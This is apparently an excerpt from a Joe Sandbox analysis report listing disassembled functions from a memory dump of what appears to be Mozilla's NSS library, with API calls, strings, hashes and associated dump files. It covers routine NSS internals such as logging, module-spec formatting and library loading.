Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: FindUtil
String ID:
API String ID: 2510446611-0
Opcode ID: a80dbc67ab96a32dd1d8def8950dfde19d9295b977475f67d5a07d481d5e839d
Instruction ID: 30dcc4a188c47dfe5e19bc5c6f7278bb6b494800a1d632b6a4715852d27ef458
Opcode Fuzzy Hash: a80dbc67ab96a32dd1d8def8950dfde19d9295b977475f67d5a07d481d5e839d
Instruction Fuzzy Hash: B7D012722441089BDF01DEB1EC5559EBB96E746754B054471E80D8B115F732EA90C692

Function 6BA89840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39e783639709e191d84e77bb8e43591559694f09961abd009b5755d7b8d1038
Instruction ID: b918c89b2f47ad281fb3ac9a4a6244452393b61ddb72f95d7b2930aa5d777de0
Opcode Fuzzy Hash: f39e783639709e191d84e77bb8e43591559694f09961abd009b5755d7b8d1038
Instruction Fuzzy Hash:

Function 6BAA5890 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 340stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6BAA58A9
PORT_ZAlloc_Util.NSS3(00000001,?,?), ref: 6BAA58BC
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?), ref: 6BAA58CA
strcat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6BAA58DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?), ref: 6BAA58E7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BAA58F8
PORT_ZAlloc_Util.NSS3(0000002D,?,?,?,?,?,?), ref: 6BAA591B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6BAA593A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6BAA5960
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6BAA597B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA59A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA59AF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA59D3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA59E2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA5A0A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA5A19
PR_smprintf.NSS3(0h0x%08lx,00000001), ref: 6BAA5A68
PR_smprintf.NSS3(%s,%s,00000000,00000000), ref: 6BAA5A7D
free.MOZGLUE(00000000), ref: 6BAA5A8F
free.MOZGLUE(00000000), ref: 6BAA5A95
PR_smprintf.NSS3(%s,0l0x%08lx,00000000,00000001), ref: 6BAA5AC6
free.MOZGLUE(00000000), ref: 6BAA5AD3
PR_smprintf.NSS3(0l0x%08lx,00000001), ref: 6BAA5AE4
PR_smprintf.NSS3(%s=%d,trustOrder,?), ref: 6BAA5B15
PR_smprintf.NSS3(%s=%d,cipherOrder,?), ref: 6BAA5B39
free.MOZGLUE(00000000), ref: 6BAA5B5D
free.MOZGLUE(00000000), ref: 6BAA5B81
free.MOZGLUE(?), ref: 6BAA5BA2
PR_smprintf.NSS3(%s %s %s %s %s,?,6BB90148,?,00000000,00000000), ref: 6BAA5BBF
free.MOZGLUE(?), ref: 6BAA5BD8
free.MOZGLUE(6BB90148), ref: 6BAA5BEE
free.MOZGLUE(?), ref: 6BAA5C06
free.MOZGLUE(00000000), ref: 6BAA5C1E
free.MOZGLUE(00000000), ref: 6BAA5C34
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA5C50
free.MOZGLUE(00000000), ref: 6BAA5C61

Strings

0h0x%08lx, xrefs: 6BAA5A63
%s %s %s %s %s, xrefs: 6BAA5BBA
trustOrder, xrefs: 6BAA5B0B
%s,%s, xrefs: 6BAA5A78
slotParams, xrefs: 6BAA5B44
cipherOrder, xrefs: 6BAA5B2F
ciphers, xrefs: 6BAA5B66
%s=%d, xrefs: 6BAA5B10, 6BAA5B34
%s,0l0x%08lx, xrefs: 6BAA5AC1
FORTEZZA, xrefs: 6BAA5A56
FIPS, xrefs: 6BAA5983
Flags, xrefs: 6BAA5B8A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$strlen$R_smprintf$Alloc_Util$isspacememsetstrcat
String ID: %s %s %s %s %s$%s,%s$%s,0l0x%08lx$%s=%d$0h0x%08lx$FIPS$FORTEZZA$Flags$cipherOrder$ciphers$slotParams$trustOrder
API String ID: 2590695137-1909591022
Opcode ID: d35214e64aa9b31e296b77c60d85e1fa9bf4b2d8de39ea4af8c1751766676ef4
Instruction ID: 85478db7a3ac003e728c805fbadfcb6df58077e46e906bdaee96ddf0f13e9794
Opcode Fuzzy Hash: d35214e64aa9b31e296b77c60d85e1fa9bf4b2d8de39ea4af8c1751766676ef4
Instruction Fuzzy Hash: CEB145B2D10691ABDF129F348C81A7F7768AF47248F080135ED0A67201E739E9A5C7F6

Function 6BB509D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6BB50A22

Part of subcall function 6BB09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6BB50A27), ref: 6BB09DC6
Part of subcall function 6BB09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6BB50A27), ref: 6BB09DD1

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6BB50A35
PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6BB50A66
PR_GetCurrentThread.NSS3 ref: 6BB50A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6BB50A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6BB50AC8
PR_vsmprintf.NSS3(?,?), ref: 6BB50AE8
EnterCriticalSection.KERNEL32(?), ref: 6BB50B19
OutputDebugStringA.KERNEL32(00000000), ref: 6BB50B48
OutputDebugStringA.KERNEL32(?), ref: 6BB50B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6BB50C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6BB50C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6BB50C76
PR_LogFlush.NSS3 ref: 6BB50C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6BB50C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50C9C
OutputDebugStringA.KERNEL32(?), ref: 6BB50CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6BB50CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6BB50D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6BB50D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6BB50D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6BB50D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6BB50D90
free.MOZGLUE(00000000), ref: 6BB50D99

Strings

%ld[%p]: , xrefs: 6BB50A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6BB50A5B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 559138495-2800039365
Opcode ID: 8a439fc614943debe989db0e37039a2c63ae08cbc9cc2769bedab311dec8bcc9
Instruction ID: 94d0307f3f381fc5125dc99ec95e0453fea7a1f8b1148362b60ee996b0a0479c
Opcode Fuzzy Hash: 8a439fc614943debe989db0e37039a2c63ae08cbc9cc2769bedab311dec8bcc9
Instruction Fuzzy Hash: 30A1B176D002A49FDB109F28CC89BBE3B68EF13718F4C0594E855D3242D77AE9A5CB52

Function 6BA56BF0 Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 148COMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(6BB90148,?,?,?,?,6BA56DC2), ref: 6BA56BFF
PR_smprintf.NSS3(%s manufacturerID='%s',00000000,?,6BA56DC2), ref: 6BA56C1C

Part of subcall function 6BA2C5E0: free.MOZGLUE(?,?,?,?,00000000,00000001,?,6BA31FBD,Unable to create nspr log file '%s',00000000), ref: 6BA2C63B

free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56C27
PR_smprintf.NSS3(%s libraryDescription='%s',00000000,?,6BA56DC2), ref: 6BA56C45
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56C50
PR_smprintf.NSS3(%s cryptoTokenDescription='%s',00000000,?,6BA56DC2), ref: 6BA56C71
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56C7C
PR_smprintf.NSS3(%s dbTokenDescription='%s',00000000,?,6BA56DC2), ref: 6BA56C9D
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56CA8
PR_smprintf.NSS3(%s cryptoSlotDescription='%s',00000000,?,6BA56DC2), ref: 6BA56CC9
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56CD4
PR_smprintf.NSS3(%s dbSlotDescription='%s',00000000,?,6BA56DC2), ref: 6BA56CF5
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56D00
PR_smprintf.NSS3(%s FIPSSlotDescription='%s',00000000,?,6BA56DC2), ref: 6BA56D1D
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56D28
PR_smprintf.NSS3(%s FIPSTokenDescription='%s',00000000,?,6BA56DC2), ref: 6BA56D45
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56D50
PR_smprintf.NSS3(%s minPS=%d,00000000,?,6BA56DC2), ref: 6BA56D68
free.MOZGLUE(00000000,?,?,?,6BA56DC2), ref: 6BA56D73

Strings

%s cryptoSlotDescription='%s', xrefs: 6BA56CC4
%s manufacturerID='%s', xrefs: 6BA56C17
%s libraryDescription='%s', xrefs: 6BA56C40
%s minPS=%d, xrefs: 6BA56D63
%s cryptoTokenDescription='%s', xrefs: 6BA56C6C
%s dbSlotDescription='%s', xrefs: 6BA56CF0
%s FIPSSlotDescription='%s', xrefs: 6BA56D18
%s FIPSTokenDescription='%s', xrefs: 6BA56D40
%s dbTokenDescription='%s', xrefs: 6BA56C98

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: R_smprintffree
String ID: %s FIPSSlotDescription='%s'$%s FIPSTokenDescription='%s'$%s cryptoSlotDescription='%s'$%s cryptoTokenDescription='%s'$%s dbSlotDescription='%s'$%s dbTokenDescription='%s'$%s libraryDescription='%s'$%s manufacturerID='%s'$%s minPS=%d
API String ID: 657075589-3414793728
Opcode ID: ba49d670efd5d4a2a47e8d1bed10c5c555f0bbdfca6af7d2520ba97218c28fba
Instruction ID: 34195693bf1334c51fe24df2a99f850199ce2b3551edefde561a5ef13cfa64b0
Opcode Fuzzy Hash: ba49d670efd5d4a2a47e8d1bed10c5c555f0bbdfca6af7d2520ba97218c28fba
Instruction Fuzzy Hash: 8E41A2FB9019512BAF106A2D6D0AD7B3A589DC25D4B0D0170FC2DC7305FA3ACE6192FA

Function 6BA30AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BA30AD4

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_EnterMonitor.NSS3 ref: 6BA30B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6BA30B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6BA30B54
WideCharToMultiByte.KERNEL32 ref: 6BA30B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6BA30BC9
calloc.MOZGLUE(00000001,00000014), ref: 6BA30BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6BA30C15

Strings

error %d, xrefs: 6BA30D08
Loaded library %s (load lib), xrefs: 6BA30D6F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: ee6a1163e2f4ed40f9c9efe1e4dd98d009375ee7598241d0d412909ece671bfe
Instruction ID: b9bc1159559106e40772ff544377e6f27a7767b3d66ad702481d21aa611571c5
Opcode Fuzzy Hash: ee6a1163e2f4ed40f9c9efe1e4dd98d009375ee7598241d0d412909ece671bfe
Instruction Fuzzy Hash: 0171D670D04224AFEF209F39CD45B6B7BB8EF46754F084069E809D7241EB79DA81CBA1

Function 6BA539F0 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA55E6F,?), ref: 6BA53A08

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA55E6F), ref: 6BA53A1C

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6BA55E83), ref: 6BA53AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6BA55E87), ref: 6BA53AEA

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6BA55E63), ref: 6BA53B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6BA55E6F), ref: 6BA53B1C

Part of subcall function 6BA9FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB9B

SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6BA55E4F), ref: 6BA53BF2
memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BA53A3C

Part of subcall function 6BA81B10: TlsGetValue.KERNEL32(00000000,?,6BA53147,?,?), ref: 6BA81B41
Part of subcall function 6BA81B10: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6BA53147,?,?), ref: 6BA81B51
Part of subcall function 6BA81B10: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA53147), ref: 6BA81B7C
Part of subcall function 6BA81B10: PR_SetError.NSS3(00000000,00000000), ref: 6BA81B94

PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA55E6F), ref: 6BA53A79
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6BA53AC9
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA53AD7
PK11_DestroyObject.NSS3(?,?), ref: 6BA53C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA53C40

Strings

security, xrefs: 6BA53B6A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$CopyItem_$Arena$Alloc_Arena_ErrorValue$CriticalEnterFreeSectionUnlock$AllocateDestroyInitK11_LockObjectPoolcallocmemcpymemset
String ID: security
API String ID: 2104508105-3315324353
Opcode ID: c2f798c792508754d55c2154179db17c4702515a5533d421ec314e10c8f65e5e
Instruction ID: 506e19e94a3c12058e8a91e9a24e484069fe738caaa2e468a15f4835c70bdc83
Opcode Fuzzy Hash: c2f798c792508754d55c2154179db17c4702515a5533d421ec314e10c8f65e5e
Instruction Fuzzy Hash: A4E1E9B2900201ABEF209F65DD42F6B77F8EF44748F084468EC86DA152F739DAA4C761

Function 6BA7CB70 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 225fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_OUTPUT_FILE,6BA9444C,00000000,00000000,00000000,?,6BA57F7C,6BA580DD), ref: 6BA7CB8B

Part of subcall function 6BA31240: TlsGetValue.KERNEL32(00000040,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA31267
Part of subcall function 6BA31240: EnterCriticalSection.KERNEL32(?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA3127C
Part of subcall function 6BA31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA31291
Part of subcall function 6BA31240: PR_Unlock.NSS3(?,?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6BB8DEB5,?,6BA9444C,00000000,00000000,00000000,?,6BA57F7C,6BA580DD), ref: 6BA7CB9D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,6BA9444C,00000000,00000000,00000000,?,6BA57F7C,6BA580DD), ref: 6BA7CBAE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,6BA9444C,00000000,00000000,00000000), ref: 6BA7CBE6
PR_IntervalToMicroseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6BA9444C,00000000,00000000,00000000), ref: 6BA7CC37
PR_IntervalToMilliseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA9444C,00000000,00000000), ref: 6BA7CCA4
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6BA7CD84
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6BA9444C,00000000), ref: 6BA7CDA6
PR_IntervalToMilliseconds.NSS3(6BA9444C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA9444C), ref: 6BA7CE02
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BA7CE59
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 6BA7CE64
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BA7CE72

Strings

Function, xrefs: 6BA7CBCD
%-25s %10d %10d%2s , xrefs: 6BA7CCD3
NSS_OUTPUT_FILE, xrefs: 6BA7CB86
%-25s %10s %12s %12s %10s, xrefs: 6BA7CBD2
Totals, xrefs: 6BA7CE2E
Avg., xrefs: 6BA7CBBE
Maximum number of concurrent open sessions: %d, xrefs: 6BA7CE4A
# Calls, xrefs: 6BA7CBC8
% Time, xrefs: 6BA7CBB9
%25s %10d %10d%2s, xrefs: 6BA7CE33

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Intervalfputc$Milliseconds__acrt_iob_func$CriticalEnterMicrosecondsSectionSecureUnlockValuefclosefflushfopengetenv
String ID: Maximum number of concurrent open sessions: %d$# Calls$% Time$%-25s %10d %10d%2s $%-25s %10s %12s %12s %10s$%25s %10d %10d%2s$Avg.$Function$NSS_OUTPUT_FILE$Totals
API String ID: 2795105899-3917921256
Opcode ID: 99a1a794f38fa1442e274b9efe5e8c7010c033fb9091852dfb090c24b3572101
Instruction ID: f84863d7fe15b93c97202bd5279ef9a31a838fac594a1512837d5ae2a0d81903
Opcode Fuzzy Hash: 99a1a794f38fa1442e274b9efe5e8c7010c033fb9091852dfb090c24b3572101
Instruction Fuzzy Hash: 06719B76D081906BCF21BA799D46A2FB7669F86784F084235E809B7251F73D88D0C7A3

Function 6BA86910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6BA86943

Part of subcall function 6BAA4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,141C084D,flags,?,00000000,?,6BA85947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6BAA4220
Part of subcall function 6BAA4210: NSSUTIL_ArgGetParamValue.NSS3(?,6BA85947,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703,?,00000000,00000000), ref: 6BAA422D
Part of subcall function 6BAA4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703), ref: 6BAA424B
Part of subcall function 6BAA4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BA87703,?,00000000), ref: 6BAA4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6BA86957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6BA86972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6BA86983

Part of subcall function 6BAA3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6BA7C79F,?,6BA86247,70E85609,?,?,6BA7C79F,6BA8781D,?,6BA7BD52,00000001,70E85609,D85D8B04,?), ref: 6BAA3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6BA869AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6BA869BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6BA869D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6BA869DF

